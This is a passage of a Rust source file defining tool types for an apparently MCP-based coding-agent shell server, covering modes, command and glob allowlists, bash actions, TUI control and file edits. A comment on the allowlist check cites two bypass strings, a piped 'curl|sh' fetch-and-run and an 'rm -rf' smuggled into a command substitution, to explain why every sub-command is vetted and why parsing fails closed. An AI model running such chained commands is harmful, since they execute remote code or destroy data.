winx_code_agent/types.rs
1use schemars::JsonSchema;
2use serde::{Deserialize, Serialize};
3
4pub fn normalize_thread_id(thread_id: &str) -> String {
5 let filtered: String = thread_id.chars().filter(|c| c.is_alphanumeric() || *c == '_').collect();
6 // If filtering removed characters, distinct ids could collapse to the same
7 // form ("user-1" and "user1" both become "user1"), silently sharing one
8 // session and one state file. Append a short, stable hash of the ORIGINAL so
9 // distinct inputs stay distinct. Already-safe ids (the common case, incl.
10 // generated `tid_*`) and ids that filter to empty are returned unchanged.
11 if filtered.is_empty() || filtered == thread_id {
12 filtered
13 } else {
14 format!("{filtered}_{:08x}", fnv1a_32(thread_id))
15 }
16}
17
18/// Marker strings (literal or regex) that let `wait_for_turn` drive an arbitrary
19/// interactive TUI without a hand-written recognizer. Loaded from the
20/// `WINX_TURN_RECOGNIZER_CONFIG` env var (JSON) when the recognizer hint is
21/// `configurable`. Each marker is matched case-insensitively; an invalid regex
22/// falls back to a literal-substring match.
23#[derive(Debug, Clone, Default, Deserialize)]
24pub struct TurnRecognizerMarkers {
25 /// Screen is actively working (scanned across the whole screen). E.g.
26 /// `["esc to interrupt", "generating"]`.
27 #[serde(default)]
28 pub busy: Vec<String>,
29 /// Screen is waiting for input (scanned in the tail). E.g. `["❯", "›"]`.
30 #[serde(default)]
31 pub awaiting_input: Vec<String>,
32 /// Screen is asking for confirmation (scanned in the tail). E.g.
33 /// `["do you want", "y/n"]`.
34 #[serde(default)]
35 pub awaiting_approval: Vec<String>,
36}
37
38impl TurnRecognizerMarkers {
39 /// True when no markers are configured (nothing to recognize).
40 pub fn is_empty(&self) -> bool {
41 self.busy.is_empty() && self.awaiting_input.is_empty() && self.awaiting_approval.is_empty()
42 }
43}
44
45/// FNV-1a 32-bit — a tiny, dependency-free hash that is stable across runs and
46/// compiler versions (unlike `DefaultHasher`), so a normalized `thread_id`
47/// resolves to the same session and state file after a server restart.
48fn fnv1a_32(s: &str) -> u32 {
49 let mut hash: u32 = 0x811c_9dc5;
50 for byte in s.bytes() {
51 hash ^= u32::from(byte);
52 hash = hash.wrapping_mul(0x0100_0193);
53 }
54 hash
55}
56
57/// Type of shell environment initialization
58///
59/// This enum represents the different ways the Initialize tool can be called,
60/// depending on the current state of the conversation and what the user is requesting.
61#[derive(Debug, Serialize, Deserialize, JsonSchema, Clone, PartialEq)]
62#[serde(rename_all = "snake_case")]
63pub enum InitializeType {
64 /// Initial call at the start of a conversation
65 ///
66 /// This should be used for the first Initialize call in a conversation.
67 /// It sets up a new shell environment with the specified parameters.
68 FirstCall,
69
70 /// User requested to change the mode
71 ///
72 /// This should be used when the user asks to switch between modes
73 /// (e.g., from "wcgw" to "architect" or "`code_writer`").
74 UserAskedModeChange,
75
76 /// Reset the shell environment due to issues
77 ///
78 /// This should be used when the shell environment appears to be in a bad state
79 /// and needs to be reset to continue properly.
80 ResetShell,
81
82 /// User requested to change the workspace
83 ///
84 /// This should be used when the user asks to switch to a different
85 /// workspace or project directory during the conversation.
86 UserAskedChangeWorkspace,
87}
88
89#[derive(Debug, Clone, PartialEq)]
90pub enum ModeName {
91 Wcgw,
92 Architect,
93 CodeWriter,
94}
95
96// Custom serializer implementation to ensure values are properly quoted in JSON
97impl Serialize for ModeName {
98 fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
99 where
100 S: serde::Serializer,
101 {
102 match self {
103 ModeName::Wcgw => serializer.serialize_str("wcgw"),
104 ModeName::Architect => serializer.serialize_str("architect"),
105 ModeName::CodeWriter => serializer.serialize_str("code_writer"),
106 }
107 }
108}
109
110// Custom deserializer to support multiple aliases
111impl<'de> Deserialize<'de> for ModeName {
112 fn deserialize<D>(deserializer: D) -> Result<Self, D::Error>
113 where
114 D: serde::Deserializer<'de>,
115 {
116 let s = String::deserialize(deserializer)?;
117 match s.as_str() {
118 "wcgw" => Ok(ModeName::Wcgw),
119 "architect" => Ok(ModeName::Architect),
120 "code_writer" | "code_write" | "code-writer" => Ok(ModeName::CodeWriter),
121 _ => Err(serde::de::Error::custom(format!("Unknown mode name: {s}"))),
122 }
123 }
124}
125
126// Custom JsonSchema (we removed the derive for the hand-written ser/de above).
127// Emit the concrete string enum INLINE — a previous version returned a `$ref` to
128// `#/definitions/ModeName`, a node that was never populated. Lenient clients
129// (Claude Code) ignored the dangling ref, but strict MCP clients (Cline, and
130// likely ChatGPT) reject the whole tool call: "Reference not found:
131// #/definitions/ModeName". The variants mirror the Serialize impl above.
132impl JsonSchema for ModeName {
133 fn schema_name() -> std::borrow::Cow<'static, str> {
134 "ModeName".into()
135 }
136
137 fn json_schema(_gen: &mut schemars::SchemaGenerator) -> schemars::Schema {
138 schemars::json_schema!({
139 "type": "string",
140 "enum": ["wcgw", "architect", "code_writer"],
141 "description": "Shell mode: wcgw (full), architect (read-only), code_writer (custom)"
142 })
143 }
144}
145
146#[derive(Debug, Serialize, Deserialize, JsonSchema, Clone, PartialEq, Default)]
147pub struct CodeWriterConfig {
148 #[serde(default)]
149 pub allowed_globs: AllowedGlobs,
150 #[serde(default)]
151 pub allowed_commands: AllowedCommands,
152}
153
154impl CodeWriterConfig {
155 pub fn update_relative_globs(&mut self, workspace_root: &str) {
156 // Only process if we have a list of globs
157 if let AllowedGlobs::List(globs) = &self.allowed_globs {
158 let updated_globs = globs
159 .iter()
160 .map(|glob| {
161 if std::path::Path::new(glob).is_absolute() {
162 glob.clone()
163 } else {
164 format!("{workspace_root}/{glob}")
165 }
166 })
167 .collect();
168
169 self.allowed_globs = AllowedGlobs::List(updated_globs);
170 }
171 }
172}
173
174#[derive(Debug, Serialize, Deserialize, JsonSchema, Clone, PartialEq)]
175#[serde(untagged)]
176pub enum AllowedGlobs {
177 All(String),
178 List(Vec<String>),
179}
180
181impl Default for AllowedGlobs {
182 fn default() -> Self {
183 AllowedGlobs::All("all".to_string())
184 }
185}
186
187impl AllowedGlobs {
188 /// Collapse the common LLM mistake `["all"]` into the wildcard `All("all")`.
189 /// Without this, a literal glob named "all" would be the only allowed path.
190 pub fn normalize(&mut self) {
191 if let AllowedGlobs::List(items) = self {
192 if items.len() == 1 && items[0] == "all" {
193 *self = AllowedGlobs::All("all".to_string());
194 }
195 }
196 }
197
198 #[allow(dead_code)]
199 pub fn is_allowed(&self, path: &str) -> bool {
200 match self {
201 AllowedGlobs::All(s) if s == "all" => true,
202 AllowedGlobs::List(globs) => globs.iter().any(|g| match glob::Pattern::new(g) {
203 Ok(pattern) => pattern.matches(path),
204 Err(_) => false,
205 }),
206 AllowedGlobs::All(_) => false,
207 }
208 }
209}
210
211#[derive(Debug, Serialize, Deserialize, JsonSchema, Clone, PartialEq)]
212#[serde(untagged)]
213pub enum AllowedCommands {
214 All(String),
215 List(Vec<String>),
216}
217
218impl Default for AllowedCommands {
219 fn default() -> Self {
220 AllowedCommands::All("all".to_string())
221 }
222}
223
224impl AllowedCommands {
225 /// Collapse the common LLM mistake `["all"]` into the wildcard `All("all")`.
226 pub fn normalize(&mut self) {
227 if let AllowedCommands::List(items) = self {
228 if items.len() == 1 && items[0] == "all" {
229 *self = AllowedCommands::All("all".to_string());
230 }
231 }
232 }
233
234 pub fn is_allowed(&self, command_line: &str) -> bool {
235 match self {
236 AllowedCommands::All(s) if s == "all" => true,
237 AllowedCommands::All(_) => false,
238 AllowedCommands::List(commands) => {
239 // Enforce the allowlist against EVERY command the line would run
240 // (pipelines, &&/||/;, command & process substitution, subshells),
241 // not just the first whitespace token — which `ls && curl|sh` and
242 // `ls $(rm -rf x)` trivially bypassed. A parse failure is fail
243 // closed: a restricted mode must not run what it can't vet.
244 match crate::utils::bash_parser::extract_command_texts(command_line) {
245 Ok(cmds) if !cmds.is_empty() => cmds
246 .iter()
247 .all(|cmd| commands.iter().any(|allowed| command_has_prefix(cmd, allowed))),
248 _ => false,
249 }
250 }
251 }
252 }
253}
254
255/// Whether `cmd` is the allowlist entry `allowed` or a sub-invocation of it,
256/// enforcing a word boundary so `ls` does not also permit `lsof`, and
257/// `cargo test` does not permit `cargo testimony`.
258fn command_has_prefix(cmd: &str, allowed: &str) -> bool {
259 let cmd = cmd.trim();
260 let allowed = allowed.trim();
261 if allowed.is_empty() {
262 return false;
263 }
264 cmd == allowed
265 || cmd.strip_prefix(allowed).is_some_and(|rest| rest.starts_with(char::is_whitespace))
266}
267
268/// Parameters for initializing the shell environment
269///
270/// This struct represents the parameters needed to initialize or update the shell environment.
271/// It is used by the Initialize tool, which must be called before any other shell tools.
272#[derive(Debug, Serialize, Deserialize, JsonSchema, Clone)]
273pub struct Initialize {
274 /// Initialization type, indicating the purpose of the call
275 ///
276 /// - `FirstCall`: Initial setup for a new conversation
277 /// - `UserAskedModeChange`: User requested to change the mode during a conversation
278 /// - `ResetShell`: Reset the shell if it's not working properly
279 /// - `UserAskedChangeWorkspace`: User requested to change the workspace during a conversation
280 #[serde(rename = "type")]
281 #[serde(default = "default_init_type")]
282 pub init_type: InitializeType,
283
284 /// Path to the workspace directory or file
285 ///
286 /// This can be an absolute path or a path relative to the current directory.
287 /// If it's a file, the parent directory will be used as the workspace.
288 /// If it doesn't exist and is an absolute path, it will be created.
289 /// If it's a relative path and doesn't exist, an error will be returned.
290 pub any_workspace_path: String,
291
292 /// List of files to read initially
293 ///
294 /// These files can be absolute paths or paths relative to the workspace.
295 /// They will be read and their contents provided in the response.
296 #[serde(default)]
297 pub initial_files_to_read: Vec<String>,
298
299 /// ID of a task to resume
300 ///
301 /// If provided during a `first_call`, the task with this ID will be resumed.
302 /// This allows continuing a conversation from a previous session.
303 #[serde(default = "String::new")]
304 #[serde(deserialize_with = "deserialize_string_or_null")]
305 pub task_id_to_resume: String,
306
307 /// Mode name for the shell environment
308 ///
309 /// - `wcgw`: Full permissions (default)
310 /// - `architect`: Restricted permissions, read-only
311 /// - `code_writer`: Custom permissions for code writing
312 #[serde(default = "default_mode_name")]
313 pub mode_name: ModeName,
314
315 /// ID of the thread session
316 ///
317 /// If not provided for a `first_call`, a new ID will be generated.
318 /// This ID must be included in all subsequent tool calls.
319 #[serde(default)]
320 #[serde(deserialize_with = "deserialize_string_or_null")]
321 pub thread_id: String,
322
323 /// Configuration for `code_writer` mode
324 ///
325 /// Only used when `mode_name` is "`code_writer`".
326 /// Specifies allowed commands and file globs for writing/editing.
327 #[serde(default)]
328 #[serde(deserialize_with = "deserialize_code_writer_config")]
329 pub code_writer_config: Option<CodeWriterConfig>,
330}
331
332// Custom deserializer for strings that might be null
333fn deserialize_string_or_null<'de, D>(deserializer: D) -> Result<String, D::Error>
334where
335 D: serde::Deserializer<'de>,
336{
337 // First try to deserialize as a string
338 let result = serde_json::Value::deserialize(deserializer)?;
339
340 match result {
341 // Return empty string for null values
342 serde_json::Value::Null => Ok(String::new()),
343 // If it's a string, use that
344 serde_json::Value::String(s) => {
345 // Handle "null" string specially
346 if s == "null" {
347 Ok(String::new())
348 } else {
349 Ok(s)
350 }
351 }
352 // Otherwise try to convert to a string
353 _ => match serde_json::to_string(&result) {
354 Ok(s) => Ok(s),
355 Err(_) => Ok(String::new()),
356 },
357 }
358}
359
360// Custom deserializer for code_writer_config that handles the "null" string case
361fn deserialize_code_writer_config<'de, D>(
362 deserializer: D,
363) -> Result<Option<CodeWriterConfig>, D::Error>
364where
365 D: serde::Deserializer<'de>,
366{
367 // This handles multiple possible input types
368 let value = serde_json::Value::deserialize(deserializer)?;
369
370 match value {
371 // If it's explicitly null or the string "null", return None
372 serde_json::Value::Null => Ok(None),
373 serde_json::Value::String(s) if s == "null" => Ok(None),
374 // Otherwise try to parse it as CodeWriterConfig
375 _ => {
376 match serde_json::from_value::<CodeWriterConfig>(value.clone()) {
377 Ok(config) => {
378 tracing::debug!("Successfully parsed CodeWriterConfig: {:?}", config);
379 Ok(Some(config))
380 }
381 Err(e) => {
382 // Fail loud. A malformed restricted-mode config must NOT silently
383 // degrade to `None` — `None` falls back to All commands / All globs,
384 // so the model would believe the shell is locked down while it is in
385 // fact wide open. Refuse to initialize instead.
386 tracing::error!("Failed to parse CodeWriterConfig: {}. Value: {}", e, value);
387 Err(serde::de::Error::custom(format!(
388 "Invalid code_writer config: {e}. Refusing to start with a permissive \
389 fallback — fix the allowed_commands / allowed_globs shape (or pass null \
390 to opt out explicitly)."
391 )))
392 }
393 }
394 }
395 }
396}
397
398/// Default `mode_name` for Initialize
399fn default_mode_name() -> ModeName {
400 ModeName::Wcgw
401}
402
403/// Default `init_type` for Initialize
404fn default_init_type() -> InitializeType {
405 InitializeType::FirstCall
406}
407
408// Mode types
409#[derive(Debug, Clone, Copy, PartialEq)]
410pub enum Modes {
411 Wcgw,
412 Architect,
413 CodeWriter,
414}
415
416/// Convert the wire-level `ModeName` (parsed from the `Initialize` request, with
417/// its alias spellings) into the runtime `Modes`. Done as `From` rather than a
418/// hand-written `convert_mode_name` so the compiler enforces that every `ModeName`
419/// variant maps to a `Modes` one — adding a variant to either enum without the
420/// other becomes a compile error here.
421impl From<&ModeName> for Modes {
422 fn from(name: &ModeName) -> Self {
423 match name {
424 ModeName::Wcgw => Modes::Wcgw,
425 ModeName::Architect => Modes::Architect,
426 ModeName::CodeWriter => Modes::CodeWriter,
427 }
428 }
429}
430
431impl std::fmt::Display for Modes {
432 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
433 match self {
434 Modes::Wcgw => write!(f, "wcgw"),
435 Modes::Architect => write!(f, "architect"),
436 Modes::CodeWriter => write!(f, "code_writer"),
437 }
438 }
439}
440
441// Inline string enum, same reasoning as `ModeName` above: a `$ref` to
442// `#/definitions/Modes` was dangling and breaks strict MCP clients.
443impl JsonSchema for Modes {
444 fn schema_name() -> std::borrow::Cow<'static, str> {
445 "Modes".into()
446 }
447
448 fn json_schema(_gen: &mut schemars::SchemaGenerator) -> schemars::Schema {
449 schemars::json_schema!({
450 "type": "string",
451 "enum": ["wcgw", "architect", "code_writer"]
452 })
453 }
454}
455
456/// Special key types for shell interaction
457/// Matches wcgw Python's Specials enum exactly
458#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize, JsonSchema)]
459pub enum SpecialKey {
460 Enter,
461 #[serde(rename = "Key-up")]
462 KeyUp,
463 #[serde(rename = "Key-down")]
464 KeyDown,
465 #[serde(rename = "Key-left")]
466 KeyLeft,
467 #[serde(rename = "Key-right")]
468 KeyRight,
469 #[serde(rename = "Ctrl-c")]
470 CtrlC,
471 #[serde(rename = "Ctrl-d")]
472 CtrlD,
473 #[serde(rename = "Ctrl-z")]
474 CtrlZ,
475}
476
477/// Parameters for the `ReadFiles` tool
478///
479/// This struct represents the parameters needed to read one or more files.
480/// Line ranges can be specified in the path itself (e.g., "file.rs:10-20").
481#[derive(Debug, Clone, Serialize, JsonSchema)]
482pub struct ReadFiles {
483 /// List of file paths to read.
484 /// Supports line range syntax: "file.rs:10-20" for lines 10-20,
485 /// "file.rs:10-" for line 10 onwards, "file.rs:-20" for first 20 lines.
486 pub file_paths: Vec<String>,
487
488 /// Optional thread ID identifying the shell session to operate on. When
489 /// omitted, the most recently active session is used.
490 #[serde(default)]
491 pub thread_id: String,
492
493 // Internal fields - not part of MCP schema (parsed from file_paths)
494 #[serde(skip)]
495 #[schemars(skip)]
496 pub start_line_nums: Vec<Option<usize>>,
497
498 #[serde(skip)]
499 #[schemars(skip)]
500 pub end_line_nums: Vec<Option<usize>>,
501}
502
503// Custom deserializer for ReadFiles - parses line ranges from file paths like wcgw Python
504impl<'de> Deserialize<'de> for ReadFiles {
505 fn deserialize<D>(deserializer: D) -> Result<Self, D::Error>
506 where
507 D: serde::Deserializer<'de>,
508 {
509 #[derive(Deserialize)]
510 struct ReadFilesHelper {
511 file_paths: Option<Vec<String>>,
512 #[serde(default)]
513 thread_id: Option<String>,
514 }
515
516 let input = serde_json::Value::deserialize(deserializer)?;
517
518 if !input.is_object() {
519 if input.is_null() {
520 return Err(serde::de::Error::custom("Cannot convert null to ReadFiles object."));
521 }
522 return Err(serde::de::Error::custom(format!("Expected object, got {input}")));
523 }
524
525 let helper: ReadFilesHelper = serde_json::from_value(input)
526 .map_err(|e| serde::de::Error::custom(format!("Failed to parse ReadFiles: {e}")))?;
527
528 let thread_id = helper.thread_id.unwrap_or_default();
529 let file_paths = match helper.file_paths {
530 Some(paths) if !paths.is_empty() => paths,
531 Some(_) => return Err(serde::de::Error::custom("file_paths must not be empty.")),
532 None => return Err(serde::de::Error::custom("file_paths is required.")),
533 };
534
535 // Parse line ranges from file paths (like wcgw Python's model_post_init)
536 let mut clean_file_paths = Vec::with_capacity(file_paths.len());
537 let mut start_line_nums = Vec::with_capacity(file_paths.len());
538 let mut end_line_nums = Vec::with_capacity(file_paths.len());
539
540 for path in file_paths {
541 let (clean_path, start, end) = parse_file_path_with_line_range(&path);
542 clean_file_paths.push(clean_path);
543 start_line_nums.push(start);
544 end_line_nums.push(end);
545 }
546
547 Ok(ReadFiles { file_paths: clean_file_paths, thread_id, start_line_nums, end_line_nums })
548 }
549}
550
551fn parse_file_path_with_line_range(path: &str) -> (String, Option<usize>, Option<usize>) {
552 let Some((potential_path, line_spec)) = path.rsplit_once(':') else {
553 return (path.to_string(), None, None);
554 };
555
556 let Some((start, end)) = parse_line_spec(line_spec) else {
557 return (path.to_string(), None, None);
558 };
559
560 (potential_path.to_string(), start, end)
561}
562
563fn parse_line_spec(line_spec: &str) -> Option<(Option<usize>, Option<usize>)> {
564 if line_spec.chars().all(|c| c.is_ascii_digit()) {
565 return line_spec.parse().ok().map(|line| (Some(line), None));
566 }
567
568 let (start, end) = line_spec.split_once('-')?;
569
570 if start.is_empty() && !end.is_empty() && end.chars().all(|c| c.is_ascii_digit()) {
571 return end.parse().ok().map(|line| (None, Some(line)));
572 }
573
574 if !start.is_empty()
575 && start.chars().all(|c| c.is_ascii_digit())
576 && (end.is_empty() || end.chars().all(|c| c.is_ascii_digit()))
577 {
578 let start = start.parse().ok()?;
579 let end = if end.is_empty() { None } else { Some(end.parse().ok()?) };
580 return Some((Some(start), end));
581 }
582
583 None
584}
585
586impl ReadFiles {
587 /// Line numbers are always shown (like wcgw Python)
588 pub fn show_line_numbers(&self) -> bool {
589 true
590 }
591
592 /// Get the clean file path without line range suffix
593 pub fn get_clean_path(&self, index: usize) -> String {
594 parse_file_path_with_line_range(&self.file_paths[index]).0
595 }
596}
597
598/// Default true value for `status_check`
599fn default_true() -> bool {
600 true
601}
602
603/// Types of actions that can be performed with the `BashCommand` tool
604#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
605#[serde(tag = "type", rename_all = "snake_case")]
606pub enum BashCommandAction {
607 /// Execute a shell command
608 Command {
609 command: String,
610 #[serde(default)]
611 is_background: bool,
612 /// Opt out of the single-top-level-statement guard. By default winx
613 /// rejects multi-statement commands (`a; b`, `a && b; c`, etc.) so the
614 /// agent has to be explicit about what it's running. Set this to true
615 /// when you knowingly want to run a composite command without
616 /// wrapping it in `bash -lc '...'`.
617 #[serde(default)]
618 allow_multi: bool,
619 },
620
621 /// Check the status of a running command.
622 ///
623 /// By default returns only what changed since the previous call — agents
624 /// driving long-lived TUIs do not need the cumulative buffer on every poll.
625 /// Set `verbose: true` to receive a fresh snapshot regardless of the dedup
626 /// hash, or `scrollback_lines: Some(N)` to also pull the last N lines from
627 /// the PTY ringbuffer.
628 StatusCheck {
629 #[serde(default = "default_true")]
630 status_check: bool,
631 bg_command_id: Option<String>,
632 #[serde(default)]
633 scrollback_lines: Option<usize>,
634 #[serde(default)]
635 verbose: bool,
636 },
637
638 /// Send text to a running command. Set `submit` to true to append a carriage
639 /// return after the bytes so the target program receives the input as a
640 /// completed line (matches what hitting Enter would do in a TUI).
641 SendText {
642 send_text: String,
643 bg_command_id: Option<String>,
644 #[serde(default)]
645 submit: bool,
646 },
647
648 /// Send special keys to a running command. `submit` works the same as in
649 /// `SendText`.
650 SendSpecials {
651 send_specials: Vec<SpecialKey>,
652 bg_command_id: Option<String>,
653 #[serde(default)]
654 submit: bool,
655 },
656
657 /// Send ASCII characters to a running command. `submit` works the same as in
658 /// `SendText`.
659 SendAscii {
660 send_ascii: Vec<u8>,
661 bg_command_id: Option<String>,
662 #[serde(default)]
663 submit: bool,
664 },
665
666 /// Snapshot the live, stable screen of a shell's terminal: the consolidated
667 /// view a human would see right now (cursor moves, redraws, alternate-screen
668 /// and synchronized-output already applied), ANSI stripped. Unlike
669 /// `status_check`, it never stacks redraw generations and never waits — a
670 /// point-in-time photo, ideal for reading an interactive TUI's current frame
671 /// (the `claude` CLI, vim, htop, fzf).
672 Screen {
673 #[serde(default = "default_true")]
674 screen: bool,
675 bg_command_id: Option<String>,
676 /// Last N visible lines to return (0 or omitted = full screen buffer).
677 #[serde(default)]
678 lines: Option<usize>,
679 /// When true, return only the lines that CHANGED since the last `screen`
680 /// look (big token savings when polling a TUI frame-by-frame) instead of
681 /// the whole frame. First look, or a large change, still returns full.
682 #[serde(default)]
683 diff: bool,
684 },
685
686 /// Block until an interactive TUI finishes its turn and is ready for input.
687 /// Combines generic quiescence (the screen stopped changing for `quiet_ms`)
688 /// with a per-app recognizer, then returns the stable snapshot plus the
689 /// detected turn state (`busy` / `awaiting_input` / `awaiting_approval`).
690 WaitForTurn {
691 #[serde(default = "default_true")]
692 wait_for_turn: bool,
693 bg_command_id: Option<String>,
694 /// Recognizer hint: `auto` (default), `claude`, `codex`, `antigravity`
695 /// (aka `agy`) or `generic`.
696 #[serde(default)]
697 recognizer: Option<String>,
698 /// Quiet window in ms — the screen must be unchanged this long to count
699 /// as idle (default 600).
700 #[serde(default)]
701 quiet_ms: Option<u64>,
702 /// Hard cap in seconds before returning regardless (default 30).
703 #[serde(default)]
704 timeout_seconds: Option<f32>,
705 /// Visible lines to return in the final snapshot (0 or omitted = full).
706 #[serde(default)]
707 lines: Option<usize>,
708 /// By default `wait_for_turn` returns as soon as it confirms the app is
709 /// actively working (`busy`), instead of blocking until the turn ends or
710 /// `timeout_seconds` elapses — so a long-running child never pins the
711 /// caller for the whole cap (poll again to keep watching). Set this to
712 /// true for the old behavior: block *through* `busy` until the app is
713 /// ready for input (or the timeout fires).
714 #[serde(default)]
715 wait_through_busy: bool,
716 },
717}
718
719/// Parameters for the `BashCommand` tool
720#[derive(Debug, Clone, Serialize, JsonSchema)]
721pub struct BashCommand {
722 /// The action to perform (command, status check, etc.)
723 pub action_json: BashCommandAction,
724
725 /// Optional timeout in seconds to wait for command completion
726 #[serde(default)]
727 #[serde(skip_serializing_if = "Option::is_none")]
728 pub wait_for_seconds: Option<f32>,
729
730 /// The thread ID for this session
731 #[serde(default)]
732 pub thread_id: String,
733}
734
735// Custom deserialization for BashCommand to handle string-encoded action_json
736impl<'de> Deserialize<'de> for BashCommand {
737 fn deserialize<D>(deserializer: D) -> Result<Self, D::Error>
738 where
739 D: serde::Deserializer<'de>,
740 {
741 let input = serde_json::Value::deserialize(deserializer)?;
742 let serde_json::Value::Object(mut map) = input else {
743 return Err(serde::de::Error::custom("BashCommand parameters must be an object."));
744 };
745
746 let wait_for_seconds = map
747 .remove("wait_for_seconds")
748 .map(serde_json::from_value)
749 .transpose()
750 .map_err(serde::de::Error::custom)?;
751 let thread_id = map
752 .remove("thread_id")
753 .map(thread_id_from_value)
754 .transpose()
755 .map_err(serde::de::Error::custom)?
756 .unwrap_or_default();
757 let action_json_value = map.remove("action_json").unwrap_or(serde_json::Value::Object(map));
758
759 // Process action_json which could be a string or an object
760 let action_json = match action_json_value {
761 serde_json::Value::String(s) => {
762 // If it's a string, normalize newlines and try to parse it as JSON
763 // Replace literal newlines with space to avoid JSON parsing errors
764 let sanitized = s.replace('\n', " ");
765 match serde_json::from_str(&sanitized) {
766 Ok(json) => normalize_action_json(json),
767 Err(e) => {
768 // If strict JSON parsing fails, try to be more lenient
769 // For commands containing literal newlines, just wrap the string in a command object
770 tracing::warn!(
771 "Failed to parse action_json as JSON, trying fallback: {}",
772 e
773 );
774
775 // Check for common JSON syntax issues
776 if s.contains("command") && s.contains('{') && s.contains('}') {
777 // It looks like JSON but has issues, let's try to sanitize it
778
779 // Detailed error for troubleshooting
780 tracing::debug!("JSON parse error on: {}", s);
781
782 // Common issues: unescaped quotes, newlines, tabs
783 let re_sanitized = s
784 .replace('\n', "\\n") // Replace newlines with escaped newlines
785 .replace('\r', "\\r") // Replace carriage returns with escaped versions
786 .replace('\t', "\\t"); // Replace tabs with escaped versions
787
788 // Attempt to fix unquoted field values (e.g., convert {field: value} to {"field": "value"})
789 let re_sanitized = if !s.contains('"') && s.contains(':') {
790 // Very likely unquoted keys/values
791 tracing::debug!("Attempting to fix unquoted JSON keys/values");
792 re_sanitized
793 } else {
794 re_sanitized
795 };
796
797 match serde_json::from_str(&re_sanitized) {
798 Ok(json) => normalize_action_json(json),
799 Err(err) => {
800 // Log the specific parsing error for debugging
801 tracing::error!("Secondary JSON parse error: {}", err);
802 // Last resort fallback - assume it's a command string
803 // MUST include "type": "command" for serde tagged enum
804 serde_json::json!({"type": "command", "command": sanitize_shell_string(&s)})
805 }
806 }
807 } else {
808 // Assume it's a simple command string
809 // MUST include "type": "command" for serde tagged enum
810 tracing::info!("Treating as simple command: {}", s);
811 serde_json::json!({"type": "command", "command": sanitize_shell_string(&s)})
812 }
813 }
814 }
815 }
816 // If it's already an object or other JSON value, normalize legacy
817 // WCGW-style shorthand such as {"command": "..."}.
818 value => normalize_action_json(value),
819 };
820
821 // Now deserialize the action_json to our BashCommandAction enum
822 let mut action: BashCommandAction =
823 serde_json::from_value(action_json.clone()).map_err(|e| {
824// Log both the error and the problematic JSON for debugging
825tracing::error!(
826 "Failed to deserialize action_json to BashCommandAction: {}\nProblematic JSON: {}",
827 e,
828 action_json
829);
830
831// For the SyntaxError: Unexpected token case
832let err_str = e.to_string();
833if err_str.contains("unexpected token") || err_str.contains("Unexpected token") {
834 return serde::de::Error::custom(format!(
835 "JSON syntax error: {e}. Please check your JSON structure. Each field name should be in quotes, and string values should be in quotes."
836 ));
837}
838
839serde::de::Error::custom(format!("Invalid action_json: {e}. Please ensure your JSON is properly formatted."))
840 })?;
841
842 // Return the properly constructed BashCommand
843 Ok(BashCommand {
844 action_json: action,
845 wait_for_seconds,
846 thread_id: normalize_thread_id(&thread_id),
847 })
848 }
849}
850
851fn thread_id_from_value(value: serde_json::Value) -> std::result::Result<String, String> {
852 match value {
853 serde_json::Value::Null => Ok(String::new()),
854 serde_json::Value::String(value) => Ok(value),
855 other => Err(format!("thread_id must be a string or null, got {other}")),
856 }
857}
858
859fn normalize_action_json(mut value: serde_json::Value) -> serde_json::Value {
860 let serde_json::Value::Object(map) = &mut value else {
861 return value;
862 };
863
864 if let Some(serde_json::Value::String(command)) = map.get_mut("command") {
865 *command = sanitize_shell_string(command);
866 }
867
868 if map.contains_key("type") {
869 return value;
870 }
871
872 let inferred_type = if map.contains_key("command") {
873 Some("command")
874 } else if map.contains_key("status_check") {
875 Some("status_check")
876 } else if map.contains_key("send_text") {
877 Some("send_text")
878 } else if map.contains_key("send_specials") {
879 Some("send_specials")
880 } else if map.contains_key("send_ascii") {
881 Some("send_ascii")
882 } else if map.contains_key("screen") {
883 Some("screen")
884 } else if map.contains_key("wait_for_turn") {
885 Some("wait_for_turn")
886 } else {
887 None
888 };
889
890 if let Some(action_type) = inferred_type {
891 map.insert("type".to_string(), serde_json::Value::String(action_type.to_string()));
892 }
893
894 value
895}
896
897fn sanitize_shell_string(value: &str) -> String {
898 value.replace('\0', "\\x00")
899}
900
901// Bash command mode
902#[derive(Debug, Clone, JsonSchema, PartialEq)]
903pub struct BashCommandMode {
904 pub bash_mode: BashMode,
905 pub allowed_commands: AllowedCommands,
906}
907
908#[derive(Debug, Clone, Copy, JsonSchema, PartialEq)]
909pub enum BashMode {
910 NormalMode,
911 RestrictedMode,
912}
913
914// File edit mode
915#[derive(Debug, Clone, JsonSchema, PartialEq)]
916pub struct FileEditMode {
917 pub allowed_globs: AllowedGlobs,
918}
919
920// Write if empty mode
921#[derive(Debug, Clone, JsonSchema, PartialEq)]
922pub struct WriteIfEmptyMode {
923 pub allowed_globs: AllowedGlobs,
924}
925
926/// Parameters for the `FileWriteOrEdit` tool
927///
928/// This struct represents the parameters needed to write or edit a file
929/// with optional search/replace blocks for partial edits.
930#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
931pub struct FileWriteOrEdit {
932 /// Path to the file to write or edit
933 ///
934 /// This must be an absolute path (~ allowed).
935 pub file_path: String,
936
937 /// Percentage of the file that will be changed
938 ///
939 /// If > 50%, the content is treated as the entire file content.
940 /// If <= 50%, the content is treated as search/replace blocks.
941 pub percentage_to_change: u32,
942
943 /// Content for the file or search/replace blocks
944 ///
945 /// If `percentage_to_change` > 50%, this is the entire file content.
946 /// If `percentage_to_change` <= 50%, this contains search/replace blocks
947 /// in the format:
948 /// ```text
949 /// <<<<<<< SEARCH
950 /// old content to find
951 /// =======
952 /// new content to replace with
953 /// >>>>>>> REPLACE
954 /// ```
955 pub text_or_search_replace_blocks: String,
956
957 /// The thread ID for this session
958 pub thread_id: String,
959}
960
961/// One file's worth of edits in a [`MultiFileEdit`] batch. Same semantics as the
962/// corresponding [`FileWriteOrEdit`] fields.
963#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
964pub struct FileEditEntry {
965 /// Path to the file to write or edit (absolute, ~ allowed).
966 pub file_path: String,
967 /// If > 50%, the content is the entire file; if <= 50%, search/replace blocks.
968 pub percentage_to_change: u32,
969 /// Full file content or search/replace blocks (see `FileWriteOrEdit`).
970 pub text_or_search_replace_blocks: String,
971}
972
973/// Parameters for the `MultiFileEdit` tool: apply edits across several files
974/// all-or-nothing at the COMPUTE stage.
975///
976/// Every file is validated and its new content computed in memory first; only
